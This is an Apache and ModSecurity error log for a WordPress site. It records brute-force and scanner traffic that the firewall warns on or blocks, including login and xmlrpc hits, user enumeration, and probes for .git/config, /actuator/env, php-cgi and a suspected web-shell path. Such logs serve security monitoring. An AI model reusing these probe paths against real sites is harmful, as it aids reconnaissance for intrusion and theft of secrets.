[Wed Nov 19 23:21:29.267367 2025] [:error] [pid 6644:tid 6650] [client 198.54.114.113:50874] [client 198.54.114.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.113, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3geU0i6Rf788MB6sb-kgAAAMQ"]
[Wed Nov 19 23:21:30.421804 2025] [:error] [pid 6644:tid 6651] [client 198.54.114.113:50874] [client 198.54.114.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.113, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gek0i6Rf788MB6sb-kwAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:22:35.087983 2025] [:error] [pid 12672:tid 12681] [client 198.54.120.16:38220] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gu_9vojl6X1cc5mVN3gAAAcQ"]
[Wed Nov 19 23:22:36.229187 2025] [:error] [pid 12672:tid 12685] [client 198.54.120.16:38220] [client 198.54.120.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.120.16, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gvP9vojl6X1cc5mVN3wAAAcg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:22:52.353760 2025] [:error] [pid 6554:tid 6562] [client 54.36.168.177:46548] [client 54.36.168.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.168.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gzN8rvPWLafJFqmURdwAAAAM"]
[Wed Nov 19 23:22:53.947249 2025] [:error] [pid 6554:tid 6575] [client 54.36.168.177:46548] [client 54.36.168.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.168.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3gzd8rvPWLafJFqmUReQAAAA8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 19 23:23:00.093650 2025] [:error] [pid 6644:tid 6646] [client 38.180.191.70:53184] [client 38.180.191.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.180.191.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3g1E0i6Rf788MB6sb-7wAAAMA"]
[Wed Nov 19 23:23:01.855724 2025] [:error] [pid 6644:tid 6648] [client 38.180.191.70:53184] [client 38.180.191.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.180.191.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR3g1U0i6Rf788MB6sb-8AAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 20 02:20:15.168195 2025] [:error] [pid 8030:tid 8040] [client 91.92.242.56:63482] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4KX4aRI7v0Hh2prI87kwAAAYc"]
[Thu Nov 20 02:20:15.731685 2025] [:error] [pid 8065:tid 8069] [client 91.92.242.56:52587] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4KXxEkusKum219iEisEQAAAcE"]
[Thu Nov 20 02:20:16.294584 2025] [:error] [pid 45115:tid 45139] [client 91.92.242.56:52888] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/motors/CHANGELOG.md"] [unique_id "aR4KYAGi_fIGlZjI1V5NxAAAANY"]
[Thu Nov 20 02:20:19.120250 2025] [:error] [pid 7924:tid 7929] [client 91.92.242.56:53233] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/file-away/readme.txt"] [unique_id "aR4KY6GUpXw1x9m1v_BMOwAAAUM"]
[Thu Nov 20 02:20:19.703906 2025] [:error] [pid 7924:tid 7929] [client 91.92.242.56:54800] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/file-away/readme.txt"] [unique_id "aR4KY6GUpXw1x9m1v_BMPwAAAUM"]
[Thu Nov 20 02:20:22.479666 2025] [:error] [pid 7924:tid 7928] [client 91.92.242.56:55108] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/baiduseo/readme.txt"] [unique_id "aR4KZqGUpXw1x9m1v_BMRQAAAUI"]
[Thu Nov 20 02:20:23.042301 2025] [:error] [pid 45115:tid 45141] [client 91.92.242.56:56662] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/baiduseo/readme.txt"] [unique_id "aR4KZwGi_fIGlZjI1V5N0wAAANg"]
[Thu Nov 20 02:20:25.728674 2025] [:error] [pid 50475:tid 50525] [client 91.92.242.56:57050] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/adforest/style.css"] [unique_id "aR4KaVzRy2BTBjqrUmk2dwAAAQM"]
[Thu Nov 20 02:20:26.290368 2025] [:error] [pid 8030:tid 8049] [client 91.92.242.56:58536] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/adforest/style.css"] [unique_id "aR4KaoaRI7v0Hh2prI87swAAAZA"]
[Thu Nov 20 02:20:26.860498 2025] [:error] [pid 45115:tid 45139] [client 91.92.242.56:58845] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/adforest/style.css"] [unique_id "aR4KagGi_fIGlZjI1V5N2QAAANY"]
[Thu Nov 20 02:20:27.436670 2025] [:error] [pid 50475:tid 50544] [client 91.92.242.56:59194] [client 91.92.242.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/adforest/style.css"] [unique_id "aR4Ka1zRy2BTBjqrUmk2fQAAARY"]
[Thu Nov 20 03:11:26.712609 2025] [:error] [pid 8872:tid 8877] [client 20.250.44.10:2600] [client 20.250.44.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aR4WXjkBDH0q-89RJLFSRQAAA0I"]
[Thu Nov 20 03:11:27.050627 2025] [:error] [pid 50236:tid 50372] [client 20.250.44.10:2905] [client 20.250.44.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aR4WX2T-l-atWVKihhs0ggAAAIo"]
[Thu Nov 20 03:11:29.242864 2025] [:error] [pid 8365:tid 8392] [client 20.250.44.10:2404] [client 20.250.44.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aR4WYRhyiKKdRMrEbr22JQAAApc"]
[Thu Nov 20 03:11:31.268315 2025] [:error] [pid 8030:tid 8042] [client 20.250.44.10:35463] [client 20.250.44.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/apikey/apikey.php.suspected"] [unique_id "aR4WY4aRI7v0Hh2prI9CwQAAAYk"]
[Thu Nov 20 03:42:11.649457 2025] [:error] [pid 50236:tid 50382] [client 103.240.35.138:57364] [client 103.240.35.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.35.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR4dk2T-l-atWVKihhs4NAAAAJQ"]
[Thu Nov 20 05:05:37.579380 2025] [:error] [pid 55342:tid 55390] [client 35.243.244.246:53418] [client 35.243.244.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.243.244.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR4xIbg6x32Tvk7fIG8rFwAAAFI"]
[Thu Nov 20 05:57:25.547436 2025] [:error] [pid 55343:tid 55400] [client 103.240.35.138:40494] [client 103.240.35.138] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aR49RVWlO3EnyVMV7w789wAAAIE"]
[Thu Nov 20 05:59:00.598384 2025] [:error] [pid 34444:tid 34466] [client 103.240.35.138:44982] [client 103.240.35.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.35.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR49pFNEol4jlmmA_GOQ4QAAAVQ"]
[Thu Nov 20 06:00:24.205404 2025] [:error] [pid 34444:tid 34459] [client 103.240.35.138:43094] [client 103.240.35.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.35.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR49-FNEol4jlmmA_GORNQAAAU0"]
[Thu Nov 20 06:01:37.424879 2025] [:error] [pid 55430:tid 55437] [client 103.240.35.138:38790] [client 103.240.35.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.240.35.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR4-QfPZXaIMEU4pE7tEKgAAAMQ"]
[Thu Nov 20 08:20:36.928818 2025] [:error] [pid 55340:tid 55358] [client 125.94.144.102:42105] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aR5e1POxD-NeMydTybDt8QAAAA0"]
[Thu Nov 20 09:12:53.112315 2025] [autoindex:error] [pid 55343:tid 55407] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:12:54.818666 2025] [autoindex:error] [pid 55343:tid 55404] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:12:55.077226 2025] [autoindex:error] [pid 55343:tid 55420] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:12:55.335729 2025] [autoindex:error] [pid 55343:tid 55399] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:12:55.597647 2025] [autoindex:error] [pid 55343:tid 55417] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2022/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:12:55.856534 2025] [autoindex:error] [pid 55343:tid 55408] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:13:05.185122 2025] [autoindex:error] [pid 55343:tid 55410] [client 144.124.251.236:52787] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/contact-form-7/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 20 09:13:10.425665 2025] [:error] [pid 55343:tid 55401] [client 144.124.251.236:52787] [client 144.124.251.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/"] [unique_id "aR5rJlWlO3EnyVMV7w4x_gAAAII"]
[Thu Nov 20 10:26:55.898856 2025] [:error] [pid 55340:tid 55361] [client 89.185.82.43:46576] [client 89.185.82.43] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aR58b_OxD-NeMydTybAj8gAAABA"]
[Thu Nov 20 12:10:21.441004 2025] [:error] [pid 55340:tid 55363] [client 98.81.111.26:49255] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6UrfOxD-NeMydTybBJogAAABI"]
[Thu Nov 20 12:10:21.857670 2025] [:error] [pid 55343:tid 55412] [client 98.81.111.26:51417] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6UrVWlO3EnyVMV7w5lBAAAAI0"]
[Thu Nov 20 12:10:22.272801 2025] [:error] [pid 55342:tid 55378] [client 98.81.111.26:54837] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6Urrg6x32Tvk7fIG-L5gAAAEY"]
[Thu Nov 20 12:10:22.679640 2025] [:error] [pid 55343:tid 55412] [client 98.81.111.26:60765] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6UrlWlO3EnyVMV7w5lLgAAAI0"]
[Thu Nov 20 12:10:23.084761 2025] [:error] [pid 55343:tid 55419] [client 98.81.111.26:55368] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6Ur1WlO3EnyVMV7w5lSgAAAJQ"]
[Thu Nov 20 12:15:50.947395 2025] [:error] [pid 55342:tid 55394] [client 98.81.111.26:51240] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6V9rg6x32Tvk7fIG-PFgAAAFY"]
[Thu Nov 20 12:15:51.354912 2025] [:error] [pid 34444:tid 34455] [client 98.81.111.26:53396] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6V91NEol4jlmmA_GP0eQAAAUk"]
[Thu Nov 20 12:15:51.761712 2025] [:error] [pid 55430:tid 55440] [client 98.81.111.26:56974] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6V9_PZXaIMEU4pE7umEQAAAMc"]
[Thu Nov 20 12:15:52.167698 2025] [:error] [pid 804:tid 808] [client 98.81.111.26:60601] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6V-PaRHpUlPL9O0Lk5NwAAAYI"]
[Thu Nov 20 12:15:52.570898 2025] [:error] [pid 55340:tid 55367] [client 98.81.111.26:63056] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR6V-POxD-NeMydTybBNcgAAABY"]
[Thu Nov 20 12:23:34.249746 2025] [:error] [pid 34405:tid 34409] [client 80.71.159.82:55907] [client 80.71.159.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 80.71.159.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR6XxjFpvu8oRK7ATfvPsgAAAQI"], referer: http://RCACIVILGROUP.COM
[Thu Nov 20 14:34:30.147366 2025] [:error] [pid 55342:tid 55389] [client 182.42.110.255:48019] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aR62drg6x32Tvk7fIG-stQAAAFE"]
[Thu Nov 20 17:07:17.623446 2025] [:error] [pid 40508:tid 40516] [client 43.128.67.187:44204] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aR7aRaxXNVCMW_ksxPuDmQAAAoY"]
[Thu Nov 20 17:37:47.496118 2025] [:error] [pid 40508:tid 40531] [client 143.110.213.72:39156] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aR7ha6xXNVCMW_ksxPuPagAAApU"]
[Thu Nov 20 17:37:48.115179 2025] [:error] [pid 40508:tid 40522] [client 143.110.213.72:39160] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aR7hbKxXNVCMW_ksxPuPawAAAow"]
